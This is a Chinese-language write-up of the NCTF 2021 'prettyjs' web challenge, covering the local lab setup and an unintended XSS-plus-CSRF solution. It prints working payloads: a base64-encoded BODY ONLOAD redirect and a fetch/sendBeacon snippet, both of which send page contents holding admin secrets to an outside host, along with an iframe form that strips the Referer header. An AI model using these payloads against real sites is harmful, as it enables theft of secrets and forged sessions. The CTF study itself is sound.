NCTF prettyjs
题目链接:
https://github.com/X1cT34m/NCTF2021/tree/main/web
官方WP:
https://mp.weixin.qq.com/s/djcrr8LrhZDsKwkVBJ6AVQ
这道题是比赛时没做出来,是一个非预期解的思路(主要是出题师傅的预期解思路学不会),本地复现这道题目需要 在docker 中配置https访问,不太了解https的原理可以看一下这篇文章:
https://www.jianshu.com/p/b0b6b88fe9fe
通过openssl生成一个自签名的 私钥和证书
openssl genrsa -des3 -out server.key 1024 //生成私钥
openssl req -new -key server.key -out server.csr //创建签名请求的证书(CSR),生成证书颁发机构,用于颁发公钥
openssl rsa -in server.key -out server_nopwd.key //除去密码以便reload询问时不需要密码
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt //配置nginx最后标记证书使用上述私钥和CSR
之后将server.crt和server_nopwd.key复制到相应 credential.pem 和credential.key当中
修改一下.env的配置 ,设置 ADMIN_USERNAME 和COOKIE_SECRET
修改本地 hosts映射虚拟机的ip 和域名
172.24.235.158 yanshu.top
构建docker 镜像的 有时候会报错,所以改了一下 Dockerfile拆开中间的bash命令
# 拆开
RUN apt-get update &&\
apt-get install -y wget gnupg
RUN wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | apt-key add -
RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
RUN apt-get update &&\
apt-get install redis-server sudo google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 -y --no-install-recommends
RUN rm -rf /var/lib/apt/lists/*
访问https://域名就可以看见题目了。因为是自己签名的证书,浏览器会提示有风险,接收风险就可以看见自己的题目了
在 /api/template 这个路由下username 可控,存在Xss漏洞 (这也是出题师傅配置错的地方)
如果需要获取 /flag 就必须要 将 token.data =“readflag” 和获得 ADMIN_USERNAME
题目存在admin用户的bot 访问 /report 路由提交的url,由于cookie的samesite
属性为none,存在csrf 漏洞让bot访问我们构造的页面,之后通过Xss漏洞获得 /api/template 泄露 ADMIN_USERNAME 和COOKIE_SECRET ,然后伪造token.data获取 flag,大致思路和流程图如下:
向 /report 路由提交url的时候,发现一直没有发出请求访问自己的页面,查看docker运行的日志才知道 ,使用puppeteer 访问本地的域名时,对openssl配的SSL证书会显示认证失效
所以 在puppeteer运行的参数加入这两条就跳过 证书验证的错误了
'--ignore-certificate-errors',
'--ignore-certificate-errors-spki-list'
现在我们需要构造CSRF 构造的页面,目前有两个问题
1、存在Xss的页面 需要Post方法访问,而且不允许出现 "/"符号
2、需要跨域发起请求,且不能带Referer或者Referer的值能满足他的匹配规则
我的思路就是构造一个表单,用户访问网页就会自动带有Xss的payload的表单提交,但是这样的问题就是提交的过程会有带有referer值。后面找了一种解决办法,使用js 构造form 表单,然后通过iframe 提交,这样发起POST提交的数据没有了来源,解决了referer验证的问题
而Xss的payload 我用了body标签,这样可以不用闭合闭合标签出现 </>,而"http://"中的斜杠符号利用base64编码即可
xss payload:
<BODY ONLOAD="window.location.href='http://ip:8000?data='+document.body.innerText">
html页面:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<iframe src="" id="GoToUrl" height="1" width="100%" frameborder="0;"></iframe>
<script type="text/javascript">
var sd=document.getElementById("GoToUrl");
window.onload=function(){
var SdWindow=sd.contentWindow;
var TheHtml="<form name=\"form\" method=\"POST\" action=\"https:\/\/\\yanshu.top/api/template\"><input type=\"hidden\" name=\"username\" value=\"\<BODY ONLOAD=eval(window.atob('d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly8xNzIuMzAuMTQ0LjE6ODAwMD9kYXRhPScrZG9jdW1lbnQuYm9keS5pbm5lclRleHQ'))\>\"><\/form>";
console.log(TheHtml);
SdWindow.document.body.innerHTML=TheHtml;
SdWindow.document.forms[0].target="_top"
SdWindow.document.forms[0].submit();
}
</script>
</body>
</html>
监听相应的端口就可以接收到 ADMIN_USERNAME 和COOKIE_SECRET
本地起一个 nodejs express服务,使用同样的密钥生成cookie的签名值
byc404师傅给出的解法
因为referer只检测前缀,利用 https://prettyjs.bycsec404.top.xxxxx 这种域名来绕过 referer
然后Xss使用了fetch函数返回 页面的内容
fetch('https://prettyjs.bycsec404.top/api/template',{ body:"username=sss",method:"POST",mode:"cors",headers: {'Content-Type': 'application/x-www-form-urlencodud'},credentials: "include"}).then(r => r.text()).then(r => {
navigator.sendBeacon('https://prettyjs.bycsec404.top.xjusec.club/t.php?msg='+btoa(r.toString().slice(700,850)));
});
参考链接: